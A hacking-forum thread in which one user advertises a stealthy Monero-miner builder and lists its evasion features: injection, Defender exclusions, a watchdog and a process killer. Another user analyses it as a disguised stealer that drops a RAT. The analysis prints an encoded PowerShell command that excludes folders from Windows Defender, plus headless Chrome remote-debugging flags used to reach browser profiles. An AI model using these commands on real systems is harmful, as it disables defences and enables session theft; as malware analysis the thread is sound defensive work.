

Forum: [Hack Forums](#)

Thread: [Silent XMR Miner](#)

chicken_man15 - January 5, 2025, 5:00 pm

Download : [b [deleted] [/b]

Reviewed by Staff : Stealer

Features include :

Native & .NET - Miner installer and watchdog coded in C#, Shellcode loader/injector coded in C, miner requires .NET Framework 4.5

Shellcode - All .NET C# parts are converted into Shellcode and injected using a native C loader, can be disabled

Injection (Silent/Hidden) - Hide payload behind another process like explorer.exe, conhost.exe, svchost.exe or other processes

CPU & GPU Mining - Can mine on Both CPU and GPU (Nvidia & AMD)

Idle Mining - Can be configured to mine at different usages or not at all while computer is or isn't in use

Stealth - Pauses the miner and clears the GPU memory while any of the programs in the "Stealth Targets" option are open

Watchdog - Replaces the miner file if removed and starts it if the injected miner is closed down

Remote Configuration - Can get the miner settings remotely from a URL every 100 minutes

Bypass Windows Defender - Adds exclusions into Windows Defender for the general folders the miner uses

Process Killer - Constantly checks for any programs in the "Kill Targets" and kills them if found

deltaphi - February 2, 2025, 7:34 am

Hey, could you share a link?

Bastille - February 2, 2025, 7:37 am

(Feb 2, 2025 08:34 AM)deltaphi Wrote: [\[CITE\]](#) Hey, could you share a link?

Probably a malware, OP shared this tool then never came back, 100% suspicious.

I've removed the link because I'll analyze the tool, take a look here :

<https://hackforums.net/showthread.php?tid=6276795>

deltaphi - February 2, 2025, 8:04 am

(Feb 2, 2025 08:37 AM)Bastille Wrote: [\[CITE\]](#) Probably a malware, OP shared this tool then never came back, 100% suspicious.

ah okay gotcha! Thanks for taking care

Bastille - February 4, 2025, 1:58 am

From OP's post, he shared a tool to "create Silent Miner", through a "Builder" :

VT report :

<https://www.virustotal.com/gui/file/33192e2c62761c054586d32d3a36a37f02dc6294e0326abd252e8>

[19efeb736bc](#)

MD5 hash : 9706c540dd26ade6bf85b4bbcb9f483a

When executed, the tool runs multiple PowerShell windows :

In the PowerShell windows, this is what have been ran :

Code "%SAMPLEPATH%\Silent XMR Miner Builder.exe"

"%USERPROFILE%\AppData\Local\Temp\Silent XMR Miner Builder.exe"

"%USERPROFILE%\AppData\Local\Temp\build.exe"

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand

"PAAjAHoAZgB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBIAG4AYwBIACAAPAAjA
HUAdgBhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAGU
AbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIACwAJABIAAG4AdgA6AFMAeQBzAHQAZQBtA
EQAcgBpAHYAZQApACAAPAAjAGgAaQBrACMAPgAgAC0ARgBvAHIAAYwBIACAAPAAjAGcAaQB
uACMAPgA="

C:\Windows\system32\WerFault.exe -u -p 2952 -s 1800

C:\Users\<USER>\AppData\Local\Temp\Silent XMR Miner Builder.exe

powershell -EncodedCommand

"PAAjAHoAZgB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBIAG4AYwBIACAAPAAjA
HUAdgBhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAGU
AbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABIACwAJABIAAG4AdgA6AFMAeQBzAHQAZQBtA
EQAcgBpAHYAZQApACAAPAAjAGgAaQBrACMAPgAgAC0ARgBvAHIAAYwBIACAAPAAjAGcAaQB
uACMAPgA="

Some command lines have been encoded with Base64, here is the decoded output :

Code Add-MpPreference -ExclusionPath @(\$env:UserProfile, \$env:SystemDrive) -Force

This command is used to add exclusions for Windows Defender, specifically excluding the user's profile directory and the system drive from scans.

The objective is to add the allow the following file to be ran :

Here is an explanation of the command options / arguments added to chrome.exe :

Code "C:\Program Files\Google\Chrome\Application\chrome.exe" > Path to the Chrome executable.
This launches Google Chrome.

--remote-debugging-port=9222 > Opens a remote debugging interface on port 9222. Used by developers and automation tools like Puppeteer or Selenium to interact with Chrome programmatically.

--headless=new > Runs Chrome in headless mode (no GUI, background execution). New refers to the latest headless implementation with better stability and feature parity with non-headless mode.

--user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" > Specifies a custom user data directory. This allows Chrome to use a specific profile (bookmarks, cookies, sessions) rather than the default.

--disable-gpu > Disables hardware GPU acceleration. Useful in headless mode since GPU rendering is not needed.

--disable-logging > Disables logging to reduce output in the console. Prevents unnecessary debug information from being displayed.

Also done on Edge :

The following command has been executed too :

Probably to retrieve information on the SSID name and then use it in addition to <https://wagle.net/> to get information on the location of the victim (maybe to blackmail / dox).

Here is the correlated report, from TRIA.GE : <https://tria.ge/250203-w4hz6s1kbj/behavioral1>

It seems that the tool is identified as a stealer from Stealerium, a tool we have previously discussed about before because it is backdoored : <https://hackforums.net/showthread.php?tid=6286517>

Here is the "svchost.exe" downloaded from Github, which is DcRAT :

patchdev - *September 5, 2025, 3:57 pm*

where is the link?

skyt__ - *September 6, 2025, 4:28 pm*

(Sep 5, 2025 03:57 PM)patchdev Wrote: [\[CITE\]](#) where is the link?
you dumb as hell

???????????? - *September 7, 2025, 9:12 am*

(Sep 6, 2025 04:28 PM)skyt__ Wrote: [\[CITE\]](#) you dumb as hell
He was randomly posting and spamming without even going through the thread.